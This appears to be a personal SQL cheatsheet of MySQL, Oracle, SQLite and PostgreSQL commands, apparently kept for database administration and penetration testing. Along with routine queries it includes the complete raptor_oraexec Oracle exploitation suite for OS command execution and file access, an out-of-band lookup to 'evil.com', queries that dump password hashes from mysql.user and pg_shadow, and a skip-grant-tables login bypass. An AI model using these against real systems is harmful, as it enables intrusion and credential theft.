SQL Cheatsheet

UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;

SELECT * FROM <table> LIMIT 1;

-- stuff to comment out

/**
stuff to comment out
**/

DELETE FROM `table` WHERE `table`.`tableID` in (SELECT TOP 500 tableID FROM table ORDER BY tableID DESC)

DELETE FROM `table` WHERE `table`.`tableID` in (SELECT TOP 500 tableID FROM table ORDER BY tableID ASC)

SELECT COUNT(*) FROM <table>;

mysql -h <hostname|ip address> -u username <database name> -P <port>
# Enter password

mysql_config_editor print --all

mysql --login-path=root_path

sudo systemctl stop mysql
sudo mysqld_safe --skip-grant-tables
mysql -u root

mysql -u username -h my.application.com <database> -p -e "show databases";

CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'mypass';
CREATE USER 'myuser'@'%' IDENTIFIED BY 'mypass';
GRANT ALL ON *.* TO 'myuser'@'localhost';
GRANT ALL ON *.* TO 'myuser'@'%';

CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'some_pass';
GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'localhost' WITH GRANT OPTION;
CREATE USER 'myuser'@'%' IDENTIFIED BY 'some_pass';
GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'%' WITH GRANT OPTION;
CREATE USER 'admin'@'localhost';
GRANT RELOAD,PROCESS ON *.* TO 'admin'@'localhost';
CREATE USER 'dummy'@'localhost';
FLUSH PRIVILEGES;

show databases;

USE [database name];

show tables;

SELECT
   COLUMN_NAME
FROM
   information_schema.COLUMNS
WHERE
   TABLE_NAME = '<TABLE NAME>';

SELECT user FROM mysql.user;

SELECT host, user, password FROM mysql.user;

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;

SELECT user FROM dual;

SELECT * FROM session_privs;

SELECT username FROM all_users ORDER BY username;

SELECT owner, table_name FROM all_tables;

SELECT name FROM V$DATAFILE;

SELECT UTL_INADDR.get_host_address('evil.com/test') FROM dual;

SELECT p.spid, s.username, s.program

FROM v$process p, v$session s

WHERE p.addr=s.paddr ORDER BY 2, 3, 1

SELECT platform_name FROM v$database;

--
-- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $
--
-- raptor_oraexec.sql - java exploitation suite for oracle
-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- This is an exploitation suite for Oracle written in Java. Use it to
-- read/write files and execute OS commands with the privileges of the
-- RDBMS, if you have the required permissions (DBA role and SYS:java).
--
-- "The Oracle RDBMS could almost be considered as a shell like bash or the
-- Windows Command Prompt; it's not only capable of storing data but can also
-- be used to completely access the file system and run operating system
-- commands" -- David Litchfield (http://www.databasesecurity.com/)
--
-- Usage example:
-- $ sqlplus "/ as sysdba"
-- [...]
-- SQL> @raptor_oraexec.sql
-- [...]
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');
-- SQL> exec dbms_java.set_output(2000);
-- SQL> set serveroutput on;
-- SQL> exec javareadfile('/tmp/mytest');
-- /bin/ls -l > /tmp/aaa
-- /bin/ls -l / >/tmp/bbb
-- SQL> exec javacmd('/bin/sh /tmp/mytest');
-- SQL> !sh
-- $ ls -rtl /tmp/
-- [...]
-- -rw-r--r--   1 oracle   system        45 Nov 22 12:20 mytest
-- -rw-r--r--   1 oracle   system      1645 Nov 22 12:20 aaa
-- -rw-r--r--   1 oracle   system      8267 Nov 22 12:20 bbb
-- [...]
--

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
 /*
  * Command execution module
  */
 public static void execCommand(String command) throws IOException
 {
  Runtime.getRuntime().exec(command);
 }

 /*
  * File reading module
  */
 public static void readFile(String filename) throws IOException
 {
  FileReader f = new FileReader(filename);
  BufferedReader fr = new BufferedReader(f);
  String text = fr.readLine();
  while (text != null) {
   System.out.println(text);
   text = fr.readLine();
  }
  fr.close();
 }

 /*
  * File writing module
  */
 public static void writeFile(String filename, String line) throws IOException
 {
  FileWriter f = new FileWriter(filename, true); /* append */
  BufferedWriter fw = new BufferedWriter(f);
  fw.write(line);
  fw.write("\n");
  fw.close();
 }
}
/

-- usage: exec javacmd('command');
create or replace procedure javacmd(p_command varchar2) as
language java
name 'oraexec.execCommand(java.lang.String)';
/

-- usage: exec dbms_java.set_output(2000);
--        set serveroutput on;
--        exec javareadfile('/path/to/file');
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';
/

-- usage: exec javawritefile('/path/to/file', 'line to append');
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';
/

Ctrl-l

.headers on
.mode csv
.output <name of file>.csv
SELECT * FROM <table> WHERE <condition>;
.output stdout

SELECT * FROM <table> WHERE <column> LIKE '%<criteria to match%';

DELETE FROM <table name> WHERE <column name> = 'value';

PORT=5432
psql -p $PORT

-h /tmp

psql -p 5432 -h /tmp

psql $DB_NAME -U $DB_USER -c "SELECT * FROM table1" -c "SELECT * FROM table2"

\setenv PAGER less

\l

SELECT current_database();

\c <database_name>

\dt

SELECT * FROM
  information_schema.tables
WHERE
  table_schema = 'dbname';

SELECT * FROM
  pg_catalog.pg_tables
WHERE
  schemaname != 'pg_catalog'
AND
  schemaname != 'information_schema';

SELECT COUNT(*) FROM
  pg_catalog.pg_tables
WHERE
  schemaname = 'dbname';

SELECT rolname FROM pg_roles;

ORDER BY table_name ASC;

SELECT * FROM
  information_schema.tables
WHERE
  table_schema = 'dbname'
ORDER BY
  table_name
ASC;

SELECT usename FROM pg_user;

SELECT usename FROM pg_user WHERE usesuper IS TRUE;

CREATE USER <user_name> WITH PASSWORD '<password>';

DROP USER IF EXISTS <user_name>;

\d <table name>

INSERT INTO <table_name> VALUES( <value_1>, <value_2>);

INSERT INTO table_name(column1_name, column2_name, column3_name) VALUES ((SELECT id FROM another_table_name WHERE another_table_column_name = 'some_name' AND parent_id IS NULL), 'hostname', 'google.com');

DELETE FROM <table_name> WHERE <column_name> = <value>;

DELETE FROM <table_name>;

\q

SELECT * FROM pg_stat_activity;

SELECT username, passwd FROM pg_shadow;

\copy (SELECT * FROM foo) TO '/tmp/test.csv' WITH CSV

\copy (SELECT table_name FROM information_schema.tables WHERE table_schema = 'dbname' ORDER BY table_name ASC) TO '/tmp/output.csv' WITH CSV;

# log all queries
command: ["postgres", "-c", "log_statement=all", "-c", "log_destination=stderr"]